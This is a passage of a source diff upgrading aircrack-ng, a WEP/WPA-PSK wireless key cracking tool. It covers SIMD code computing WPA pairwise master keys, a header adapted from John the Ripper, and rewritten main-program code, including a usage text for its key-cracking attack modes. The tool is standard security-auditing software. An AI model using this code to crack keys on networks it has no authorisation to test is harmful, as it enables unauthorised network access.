+						 (unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_crypt2,
+						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
+			for (j = 0; j < NBKEYS; j++)
+			{
+#ifdef SIMD_CORE
+				unsigned * p
+					= &((unsigned int *)
+							t_sse_hash1)[(((j / SIMD_COEF_32) * SHA_BUF_SIZ)
+										  * SIMD_COEF_32)
+										 + (j & (SIMD_COEF_32 - 1))];
+				for (k = 5; k < 8; k++)
+					outbuf[j].i[k] ^= p[((k - 5) * SIMD_COEF_32)];
+#else
+				unsigned * p = &((
+					unsigned int *) t_sse_hash1)[(((j >> 2) * SHA_BUF_SIZ) << 2)
+												 + (j & (MMX_COEF - 1))];
+				for (k = 5; k < 8; k++)
+					outbuf[j].i[k] ^= p[((k - 5) << (MMX_COEF >> 1))];
+#endif
+			}
+		}
+
+		for (j = 0; j < NBKEYS; ++j)
+		{
+			memcpy(&engine->thread_data[threadid]->pmk[j], outbuf[j].c, 32);
+			alter_endianity_to_BE((&engine->thread_data[threadid]->pmk[j]), 8);
+		}
+	}
+
+	return;
+}
+#endif
+
+void init_atoi()
+{
+	char * pos;
+
+	memset(atoi64, 0x7F, sizeof(atoi64));
+	for (pos = itoa64; pos != &itoa64[63]; pos++)
+		atoi64[ARCH_INDEX(*pos)] = pos - itoa64;
+}
+
+#ifdef SIMD_CORE
+//#define XDEBUG 1
+//#define ODEBUG 1
+int init_wpapsk(ac_crypto_engine_t * engine,
+				const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+				int nparallel,
+				int threadid)
+{
+	int i = 0;
+	int count = 0;
+
+	// clear entire output table
+	memset(engine->thread_data[threadid]->pmk,
+		   0,
+		   (sizeof(wpapsk_hash) * (nparallel)));
+
+	{
+		unsigned char * sse_hash1 = engine->thread_data[threadid]->hash1;
+
+		int index;
+		for (index = 0; index < nparallel; ++index)
+		{
+// set the length of all hash1 SSE buffer to 64+20 * 8 bits. The 64 is for the
+// ipad/opad,
+// the 20 is for the length of the SHA1 buffer that also gets into each crypt.
+// Works for SSE2i and SSE2
+#ifdef SIMD_CORE
+			((unsigned int *)
+				 sse_hash1)[15 * SIMD_COEF_32 + (index & (SIMD_COEF_32 - 1))
+							+ (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ
+								  * SIMD_COEF_32]
+				= (84 << 3); // all encrypts are 64+20 bytes.
+#else
+			((unsigned int *)
+				 sse_hash1)[15 * MMX_COEF + (index & (MMX_COEF - 1))
+							+ (index >> (MMX_COEF >> 1)) * SHA_BUF_SIZ
+								  * MMX_COEF]
+				= (84 << 3); // all encrypts are 64+20 bytes.
+#endif
+			sse_hash1[GETPOS(20, index)] = 0x80;
+		}
+	}
+
+	for (i = 0; i < nparallel; ++i)
+	{
+		char * tkey = (char *) key[i].v;
+
+		if (*tkey != 0)
+		{
+//			set_key(tkey, i, inbuffer);
+#ifdef XDEBUG
+			printf(
+				"key%d (inbuffer) = (%p) %s  VALID\n", i + 1, tkey, key[i].v);
+#endif
+			count = i + 1;
+		}
+	}
+
+	wpapsk_sse(engine, threadid, count, key);
+
+	return 0;
+}
+#endif
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/wpapsk.h Added

@@ -0,0 +1,84 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is Copyright (c) 2012 Lukas Odzioba <lukas dot odzioba at gmail
+ * dot com>
+ * and Copyright (c) 2012-2014 magnum
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * hccap format was introduced by oclHashcat-plus, and it is described here:
+ * http://hashcat.net/wiki/hccap
+ * Code is based on  Aircrack-ng source
+ */
+#ifndef _WPAPSK_H
+#define _WPAPSK_H
+
+#include <string.h>
+#include <assert.h>
+#ifdef USE_GCRYPT
+#include "gcrypt-openssl-wrapper.h"
+#else
+#include <openssl/hmac.h>
+#endif
+#include <stdint.h>
+#include "arch.h"
+#include "jcommon.h"
+#include "johnswap.h"
+
+#include "crypto_engine.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+void init_atoi(void);
+int init_wpapsk(ac_crypto_engine_t * engine,
+				const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+				int nparallel,
+				int threadid);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* _WPAPSK_H */

aircrack-ng-1.2-rc4.tar.gz/src/aircrack-ng.c -> aircrack-ng-1.4.tar.gz/src/aircrack-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  802.11 WEP / WPA-PSK Key Cracker
  *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005 Christophe Devine
  *
  *  Advanced WEP attacks developed by KoreK
@@ -20,7 +20,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -39,363 +39,677 @@
 
 #define _GNU_SOURCE
 
-#include <sys/types.h>
-#include <termios.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <sys/time.h>
+#include <ctype.h>
+#include <dlfcn.h>
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <float.h>
+#include <getopt.h>
+#include <limits.h>
+#include <math.h>
 #include <netinet/in.h>
 #include <pthread.h>
-#include <unistd.h>
 #include <signal.h>
-#include <string.h>
-#include <stdlib.h>
 #include <stdio.h>
-#include <fcntl.h>
-#include <errno.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <termios.h>
 #include <time.h>
-#include <getopt.h>
-#include <ctype.h>
-#include <err.h>
-#include <math.h>
-#include <limits.h>
+#include <unistd.h>
 
-#include "version.h"
+#include <aircrack-crypto/crypto_engine.h>
+#include "aircrack-crypto/sha1-sse2.h"
+#include "aircrack-crypto/wpapsk.h"
+#include "aircrack-ng.h"
+#include "aircrack-osdep/byteorder.h"
+#include "aircrack-util/avl_tree.h"
+#include "aircrack-util/common.h"
+#include "aircrack-util/console.h"
+#include "aircrack-util/cpuset.h"
+#include "aircrack-util/crypto_engine_loader.h"
+#include "aircrack-util/simd_cpuid.h"
+#include "aircrack-util/trampoline.h"
+#include "cowpatty.h"
 #include "crypto.h"
+#include "hashcat.h"
+#include "linecount.h"
 #include "pcap.h"
+#include "session.h"
 #include "uniqueiv.h"
-#include "aircrack-ng.h"
-#include "sha1-sse2.h"
-#include "osdep/byteorder.h"
-#include "common.h"
+#include "version.h"
 #include "wkp-frame.h"
-#include "linecount.h"
-#include "wpapsk.h"
 
 #ifdef HAVE_SQLITE
 #include <sqlite3.h>
-sqlite3 *db;
+
+sqlite3 * db;
+#else
+char * db;
 #endif
 
 // libgcrypt thread callback definition for libgcrypt < 1.6.0
 #ifdef USE_GCRYPT
-	#if GCRYPT_VERSION_NUMBER < 0x010600
-		GCRY_THREAD_OPTION_PTHREAD_IMPL;
-	#endif
+#if GCRYPT_VERSION_NUMBER < 0x010600
+GCRY_THREAD_OPTION_PTHREAD_IMPL;
+#endif
 #endif
 
-static unsigned char ZERO[32] =
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00";
+#ifndef DYNAMIC
+#define DYNAMIC 1
+#endif
+static int station_compare(const void * a, const void * b)
+{
+	return memcmp(a, b, 6);
+}
 
 /* stats global data */
 
 static int _speed_test;
-struct timeval t_begin;			 /* time at start of attack      */
-struct timeval t_stats;			 /* time since last update       */
-struct timeval t_kprev;			 /* time at start of window      */
-struct timeval t_dictup;		/* next dictionary total read   */
-long long int nb_kprev;			 /* last  # of keys tried        */
-long long int nb_tried;			 /* total # of keys tried        */
+static long _speed_test_length = 15;
+struct timeval t_begin; /* time at start of attack      */
+struct timeval t_stats; /* time since last update       */
+struct timeval t_kprev; /* time at start of window      */
+struct timeval t_dictup; /* next dictionary total read   */
+long long int nb_kprev; /* last  # of keys tried        */
+long long int nb_tried; /* total # of keys tried        */
+static ac_crypto_engine_t engine; /* crypto engine */
 
 /* IPC global data */
 
-unsigned char *buffer = NULL;			/* from read_thread */
-struct AP_info *ap_1st;			 /* first item in linked list    */
-pthread_mutex_t mx_apl;			 /* lock write access to ap LL   */
-pthread_mutex_t mx_eof;			 /* lock write access to nb_eof  */
-pthread_mutex_t mx_ivb;			 /* lock access to ivbuf array   */
-pthread_mutex_t mx_dic;			 /* lock access to opt.dict      */
-pthread_cond_t  cv_eof;			 /* read EOF condition variable  */
-int  nb_eof = 0;				 /* # of threads who reached eof */
-long nb_pkt = 0;				 /* # of packets read so far     */
-int mc_pipe[256][2];			 /* master->child control pipe   */
-int cm_pipe[256][2];			 /* child->master results pipe   */
-int bf_pipe[256][2];			 /* bruteforcer 'queue' pipe	 */
+static struct options opt;
+static struct WEP_data wep __attribute__((aligned(64)));
+c_avl_tree_t * access_points = NULL;
+c_avl_tree_t * targets = NULL;
+pthread_mutex_t mx_apl; /* lock write access to ap LL   */
+pthread_mutex_t mx_eof; /* lock write access to nb_eof  */
+pthread_mutex_t mx_ivb; /* lock access to ivbuf array   */
+pthread_mutex_t mx_dic; /* lock access to opt.dict      */
+pthread_cond_t cv_eof; /* read EOF condition variable  */
+int nb_eof = 0; /* # of threads who reached eof */
+long nb_pkt = 0; /* # of packets read so far     */
+int mc_pipe[256][2]; /* master->child control pipe   */
+int cm_pipe[256][2]; /* child->master results pipe   */
+int bf_pipe[256][2]; /* bruteforcer 'queue' pipe	 */
 int bf_nkeys[256];
 unsigned char bf_wepkey[64];
 int wepkey_crack_success = 0;
 int close_aircrack = 0;
-int id=0;
-pthread_t tid[MAX_THREADS];
+int id = 0;
+pthread_t tid[MAX_THREADS] = {0};
+pthread_t cracking_session_tid;
 struct WPA_data wpa_data[MAX_THREADS];
 int wpa_wordlists_done = 0;
 static pthread_mutex_t mx_nb = PTHREAD_MUTEX_INITIALIZER;
 static pthread_mutex_t mx_wpastats = PTHREAD_MUTEX_INITIALIZER;
+ac_cpuset_t * cpuset = NULL;
 
-
-#define	GOT_IV	0x00000001
-#define	USE_IV	0x00000002
-#define K01_IV	0x00000010
-#define K02_IV	0x00000020
-#define K03_IV	0x00000040
-#define K04_IV	0x00000080
-#define K05_IV	0x00000100
-#define K06_IV	0x00000200
-#define K07_IV	0x00000400
-#define K08_IV	0x00000800
-#define K09_IV	0x00001000
-#define K10_IV	0x00002000
-#define K11_IV	0x00004000
-#define K12_IV	0x00008000
-#define K13_IV	0x00010000
-#define K14_IV	0x00020000
-#define K15_IV	0x00040000
-#define K16_IV	0x00080000
-#define K17_IV	0x00100000
+#define GOT_IV 0x00000001
+#define USE_IV 0x00000002
+#define K01_IV 0x00000010
+#define K02_IV 0x00000020
+#define K03_IV 0x00000040
+#define K04_IV 0x00000080
+#define K05_IV 0x00000100
+#define K06_IV 0x00000200
+#define K07_IV 0x00000400
+#define K08_IV 0x00000800
+#define K09_IV 0x00001000
+#define K10_IV 0x00002000
+#define K11_IV 0x00004000
+#define K12_IV 0x00008000
+#define K13_IV 0x00010000
+#define K14_IV 0x00020000
+#define K15_IV 0x00040000
+#define K16_IV 0x00080000
+#define K17_IV 0x00100000
 
 typedef struct
 {
-	int off1;
-	int off2;
-	void *buf1;
-	void *buf2;
-}
-read_buf;
+	uint8_t mode;
+	char * filename;
+} packet_reader_t;
 
-read_buf rb, crb;
+#define PACKET_READER_CHECK_MODE 0
+#define PACKET_READER_READ_MODE 1
 
-int K_COEFF[N_ATTACKS] =
+typedef struct
 {
-	15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20
-};
-
-int PTW_DEFAULTWEIGHT[1] = { 256 };
-int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
-
-const unsigned char R[256] =
-{
-	0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20
-	, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40
-	, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60
-	, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80
-	, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100
-	, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116
-	, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132
-	, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148
-	, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164
-	, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180
-	, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196
-	, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212
-	, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228
-	, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244
-	, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255
-};
-
-char usage[] =
-"\n"
-"  %s - (C) 2006-2015 Thomas d\'Otreppe\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  usage: aircrack-ng [options] <.cap / .ivs file(s)>\n"
-"\n"
-"  Common options:\n"
-"\n"
-"      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)\n"
-"      -e <essid> : target selection: network identifier\n"
-"      -b <bssid> : target selection: access point's MAC\n"
-"      -p <nbcpu> : # of CPU to use  (default: all CPUs)\n"
-"      -q         : enable quiet mode (no status output)\n"
-"      -C <macs>  : merge the given APs to a virtual one\n"
-"      -l <file>  : write key to file\n"
-"\n"
-"  Static WEP cracking options:\n"
-"\n"
-"      -c         : search alpha-numeric characters only\n"
-"      -t         : search binary coded decimal chr only\n"
-"      -h         : search the numeric key for Fritz!BOX\n"
-"      -d <mask>  : use masking of the key (A1:XX:CF:YY)\n"
-"      -m <maddr> : MAC address to filter usable packets\n"
-"      -n <nbits> : WEP key length :  64/128/152/256/512\n"
-"      -i <index> : WEP key index (1 to 4), default: any\n"
-"      -f <fudge> : bruteforce fudge factor,  default: 2\n"
-"      -k <korek> : disable one attack method  (1 to 17)\n"
-"      -x or -x0  : disable bruteforce for last keybytes\n"
-"      -x1        : last keybyte bruteforcing  (default)\n"
-"      -x2        : enable last  2 keybytes bruteforcing"
-"%s"
-"      -y         : experimental  single bruteforce mode\n"
-"      -K         : use only old KoreK attacks (pre-PTW)\n"
-"      -s         : show the key in ASCII while cracking\n"
-"      -M <num>   : specify maximum number of IVs to use\n"
-"      -D         : WEP decloak, skips broken keystreams\n"
-"      -P <num>   : PTW debug:  1: disable Klein, 2: PTW\n"
-"      -1         : run only 1 try to crack key with PTW\n"
-"\n"
-"  WEP and WPA-PSK cracking options:\n"
-"\n"
-"      -w <words> : path to wordlist(s) filename(s)\n"
-"\n"
-"  WPA-PSK options:\n"
-"\n"
-"      -E <file>  : create EWSA Project file v3\n"
-"      -J <file>  : create Hashcat Capture file\n"
-"      -S         : WPA cracking speed test\n"
+	int off1;
+	int off2;
+	void * buf1;
+	void * buf2;
+} read_buf;
+
+int K_COEFF[N_ATTACKS]
+	= {15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20};
+
+int PTW_DEFAULTWEIGHT[1] = {256};
+int PTW_DEFAULTBF[PTW_KEYHSBYTES]
+	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
+
+const unsigned char R[256] = {
+	0,   1,   2,   3,   4,   5,   6,   7,   8,   9,   10,  11,  12,  13,  14,
+	15,  16,  17,  18,  19,  20,  21,  22,  23,  24,  25,  26,  27,  28,  29,
+	30,  31,  32,  33,  34,  35,  36,  37,  38,  39,  40,  41,  42,  43,  44,
+	45,  46,  47,  48,  49,  50,  51,  52,  53,  54,  55,  56,  57,  58,  59,
+	60,  61,  62,  63,  64,  65,  66,  67,  68,  69,  70,  71,  72,  73,  74,
+	75,  76,  77,  78,  79,  80,  81,  82,  83,  84,  85,  86,  87,  88,  89,
+	90,  91,  92,  93,  94,  95,  96,  97,  98,  99,  100, 101, 102, 103, 104,
+	105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
+	120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134,
+	135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149,
+	150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164,
+	165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179,
+	180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194,
+	195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209,
+	210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224,
+	225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
+	240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254,
+	255};
+
+char usage[] = "\n"
+			   "  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
+			   "  https://www.aircrack-ng.org\n"
+			   "\n"
+			   "  usage: aircrack-ng [options] <input file(s)>\n"
+			   "\n"
+			   "  Common options:\n"
+			   "\n"
+			   "      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)\n"
+			   "      -e <essid> : target selection: network identifier\n"
+			   "      -b <bssid> : target selection: access point's MAC\n"
+			   "      -p <nbcpu> : # of CPU to use  (default: all CPUs)\n"
+			   "      -q         : enable quiet mode (no status output)\n"
+			   "      -C <macs>  : merge the given APs to a virtual one\n"
+			   "      -l <file>  : write key to file. Overwrites file.\n"
+			   "\n"
+			   "  Static WEP cracking options:\n"
+			   "\n"
+			   "      -c         : search alpha-numeric characters only\n"
+			   "      -t         : search binary coded decimal chr only\n"
+			   "      -h         : search the numeric key for Fritz!BOX\n"
+			   "      -d <mask>  : use masking of the key (A1:XX:CF:YY)\n"
+			   "      -m <maddr> : MAC address to filter usable packets\n"
+			   "      -n <nbits> : WEP key length :  64/128/152/256/512\n"
+			   "      -i <index> : WEP key index (1 to 4), default: any\n"
+			   "      -f <fudge> : bruteforce fudge factor,  default: 2\n"
+			   "      -k <korek> : disable one attack method  (1 to 17)\n"
+			   "      -x or -x0  : disable bruteforce for last keybytes\n"
+			   "      -x1        : last keybyte bruteforcing  (default)\n"
+			   "      -x2        : enable last  2 keybytes bruteforcing"
+			   "%s"
+			   "      -y         : experimental  single bruteforce mode\n"
+			   "      -K         : use only old KoreK attacks (pre-PTW)\n"
+			   "      -s         : show the key in ASCII while cracking\n"
+			   "      -M <num>   : specify maximum number of IVs to use\n"
+			   "      -D         : WEP decloak, skips broken keystreams\n"
+			   "      -P <num>   : PTW debug:  1: disable Klein, 2: PTW\n"
+			   "      -1         : run only 1 try to crack key with PTW\n"
+			   "      -V         : run in visual inspection mode\n"
+			   "\n"
+			   "  WEP and WPA-PSK cracking options:\n"
+			   "\n"
+			   "      -w <words> : path to wordlist(s) filename(s)\n"
+			   "      -N <file>  : path to new session filename\n"
+			   "      -R <file>  : path to existing session filename\n"
+			   "\n"
+			   "  WPA-PSK options:\n"
+			   "\n"
+			   "      -E <file>  : create EWSA Project file v3\n"
+			   "      -j <file>  : create Hashcat v3.6+ file (HCCAPX)\n"
+			   "      -J <file>  : create Hashcat file (HCCAP)\n"
+			   "      -S         : WPA cracking speed test\n"
+			   "      -Z <sec>   : WPA cracking speed test length of\n"
+			   "                   execution.\n"
 #ifdef HAVE_SQLITE
-"      -r <DB>    : path to airolib-ng database\n"
-"                   (Cannot be used with -w)\n"
+			   "      -r <DB>    : path to airolib-ng database\n"
+			   "                   (Cannot be used with -w)\n"
 #endif
-"\n"
-"  Other options:\n"
-"\n"
-"      -u         : Displays # of CPUs & MMX/SSE support\n"
-"      --help     : Displays this usage screen\n"
-"\n";
-
+#if DYNAMIC
+			   "\n"
+			   "  SIMD selection:\n"
+			   "\n"
+			   "      --simd-list       : Show a list of the available\n"
+			   "                          SIMD architectures, for this\n"
+			   "                          machine.\n"
+			   "      --simd=<option>   : Use specific SIMD architecture.\n"
+			   "\n"
+			   "      <option> may be one of the following, depending on\n"
+			   "      your platform:\n"
+			   "\n"
+			   "                   generic\n"
+			   "                   avx512\n"
+			   "                   avx2\n"
+			   "                   avx\n"
+			   "                   sse2\n"
+			   "                   altivec\n"
+			   "                   power8\n"
+			   "                   asimd\n"
+			   "                   neon\n"
+#endif
+			   "\n"
+			   "  Other options:\n"
+			   "\n"
+			   "      -u         : Displays # of CPUs & MMX/SSE support\n"
+			   "      --help     : Displays this usage screen\n"
+			   "\n";
 
+struct session * cracking_session = NULL;
 char * progname = NULL;
 int intr_read = 0;
 
-int safe_write( int fd, void *buf, size_t len );
+static int safe_write(int fd, void * buf, size_t len);
+struct AP_info * hccapx_to_ap(struct hccapx * hx);
 
-void clean_exit(int ret)
+static inline int append_ap(struct AP_info * new_ap)
 {
-	struct AP_info *ap_cur;
-	struct AP_info *ap_prv;
-	struct AP_info *ap_next;
-	struct ST_info *st_tmp;
-	int i=0;
-// 	int j=0, k=0, attack=0;
-	int child_pid;
+	return c_avl_insert(access_points, new_ap->bssid, new_ap);
+}
 
-	char tmpbuf[128];
-	memset(tmpbuf, 0, 128);
+static int load_hccapx_file(int fd)
+{
+	hccapx_t hx;
+	struct AP_info * ap_cur = NULL;
+
+	lseek(fd, 0, SEEK_SET);
 
-	if(ret && !opt.is_quiet)
+	while (read(fd, &hx, sizeof(hccapx_t)))
 	{
-		printf("\nQuitting aircrack-ng...\n");
-		fflush(stdout);
+		nb_pkt++;
+		ap_cur = hccapx_to_ap(&hx);
+		append_ap(ap_cur);
+	}
+	return nb_pkt;
+}
+
+static struct AP_info * get_first_target(void)
+{
+	struct AP_info * target = NULL;
+	void * key;
+	c_avl_iterator_t * it = c_avl_get_iterator(targets);
+	c_avl_iterator_next(it, &key, (void **) &target);
+	c_avl_iterator_destroy(it);
+	it = NULL;
+	return target;
+}
+
+static void destroy_ap(struct AP_info * ap)
+{
+	struct ST_info * st_tmp = NULL;
+	if (ap->ivbuf != NULL)
+	{
+		free(ap->ivbuf);
+		ap->ivbuf = NULL;
 	}
-	close_aircrack = 1;
 
-	for( i = 0; i < opt.nbcpu; i++ )
+	if (ap->stations != NULL)
 	{
-            #ifdef CYGWIN
-            close( mc_pipe[i][1] );
-            close( bf_pipe[i][1] );
-            #else
-            safe_write( mc_pipe[i][1], (void *) "EXIT\r", 5 );
-            safe_write( bf_pipe[i][1], (void *) tmpbuf, 64 );
-            #endif
-        }
-
-	for (i = 0; i < id; i++) {
-		if (pthread_join(tid[i], NULL) != 0) {
-//	 			printf("Can't join thread %d\n", i);
+		void * key = NULL;
+		while (c_avl_pick(ap->stations, &key, (void **) &st_tmp) == 0)
+		{
+			free(st_tmp);
 		}
+		c_avl_destroy(ap->stations);
+		ap->stations = NULL;
 	}
 
-#ifndef OLD_SSE_CORE
-	for (i = 0; i < MAX_THREADS; i++)
-		free_ssecore(i);
-#endif
+	uniqueiv_wipe(ap->uiv_root);
+	ap->uiv_root = NULL;
 
-	if (opt.totaldicts) {
-		for (i = 0; i < opt.totaldicts; i++) {
-			if (opt.dicts[i] != NULL) {
-				free(opt.dicts[i]);
-				opt.dicts[i] = NULL;
-			}
+	if (ap->ptw_clean != NULL)
+	{
+		if (ap->ptw_clean->allsessions != NULL)
+		{
+			free(ap->ptw_clean->allsessions);
+			ap->ptw_clean->allsessions = NULL;
 		}
+		free(ap->ptw_clean);
+		ap->ptw_clean = NULL;
 	}
 
-	if (rb.buf1 != NULL)
+	if (ap->ptw_vague != NULL)
 	{
-		free(rb.buf1);
-		rb.buf1=NULL;
+		if (ap->ptw_vague->allsessions != NULL)
+		{
+			free(ap->ptw_vague->allsessions);
+			ap->ptw_vague->allsessions = NULL;
+		}
+		free(ap->ptw_vague);
+		ap->ptw_vague = NULL;
 	}
+}
 
-	if (rb.buf2 != NULL)
+static void ac_aplist_free(void)
+{
+	pthread_mutex_lock(&mx_apl);
+	struct AP_info * ap_cur = NULL;
+	void * key;
+
+	while (c_avl_pick(access_points, &key, (void **) &ap_cur) == 0)
 	{
-		free(rb.buf2);
-		rb.buf2=NULL;
+		destroy_ap(ap_cur);
+		free(ap_cur);
 	}
+	pthread_mutex_unlock(&mx_apl);
+}
+
+/**
+ * Release all unused AP base-stations stored in \a access_points, keeping
+ * only the specified \a ap_cur AP base-station.
+ *
+ * @param ap_cur The AP base-station to keep.
+ */
+static void ap_avl_release_unused(struct AP_info * ap_cur)
+{
+	c_avl_tree_t * tmp_access_points = c_avl_create(station_compare);
+	c_avl_insert(tmp_access_points, ap_cur->bssid, ap_cur);
+
+	pthread_mutex_lock(&mx_apl);
 
-	if (crb.buf1 != NULL)
+	void * key = NULL;
+	struct AP_info * ap_tmp = NULL;
+	while (c_avl_pick(access_points, &key, (void **) &ap_tmp) == 0)
 	{
-		free(crb.buf1);
-		crb.buf1=NULL;
+		if (ap_tmp != ap_cur)
+		{
+			destroy_ap(ap_tmp);
+			free(ap_tmp);
+		}
 	}
 
-	if (crb.buf2 != NULL)
+	c_avl_destroy(access_points);
+	access_points = tmp_access_points;
+
+	pthread_mutex_unlock(&mx_apl);
+}
+
+static int add_wep_iv(struct AP_info * ap, unsigned char * buffer)
+{
+	/* check for uniqueness first */
+	if (ap->nb_ivs == 0) ap->uiv_root = uniqueiv_init();
+
+	if (uniqueiv_check(ap->uiv_root, buffer) == 0)
 	{
-		free(crb.buf2);
-		crb.buf2=NULL;
-	}
+		/* add the IV & first two encrypted bytes */
 
-	if (buffer != NULL) {
-		free(buffer);
-		buffer = NULL;
+		long n = ap->nb_ivs * 5;
+
+		if (n + 5 > ap->ivbuf_size || ap->ivbuf == NULL)
+		{
+			/* enlarge the IVs buffer */
+
+			ap->ivbuf_size += 131072;
+			ap->ivbuf
+				= (unsigned char *) realloc(ap->ivbuf, (size_t) ap->ivbuf_size);
+
+			if (ap->ivbuf == NULL)
+			{
+				perror("realloc failed");
+				return -1;
+			}
+		}
+
+		memcpy(ap->ivbuf + n, buffer, 5);
+
+		uniqueiv_mark(ap->uiv_root, buffer);
+		ap->nb_ivs++;
 	}
+	return 0;
+}
 
-	if(wep.ivbuf != NULL)
+static int parse_ivs2(struct AP_info * ap_cur,
+					  struct ivs2_pkthdr * pivs2,
+					  unsigned char * buffer)
+{
+	int weight[16];
+	struct ivs2_pkthdr ivs2 = *pivs2;
+	long n = 0;
+
+	if (ivs2.flags & IVS2_ESSID)
 	{
-		free(wep.ivbuf);
-		wep.ivbuf = NULL;
+		memcpy(ap_cur->essid, buffer, ivs2.len);
 	}
+	else if (ivs2.flags & IVS2_XOR)
+	{
+		ap_cur->crypt = 2;
 
-	ap_prv = NULL;
-	ap_cur = ap_1st;
+		if (opt.do_ptw)
+		{
+			int clearsize;
 
-	while( ap_cur != NULL )
-	{
-		if( ap_cur->ivbuf != NULL )
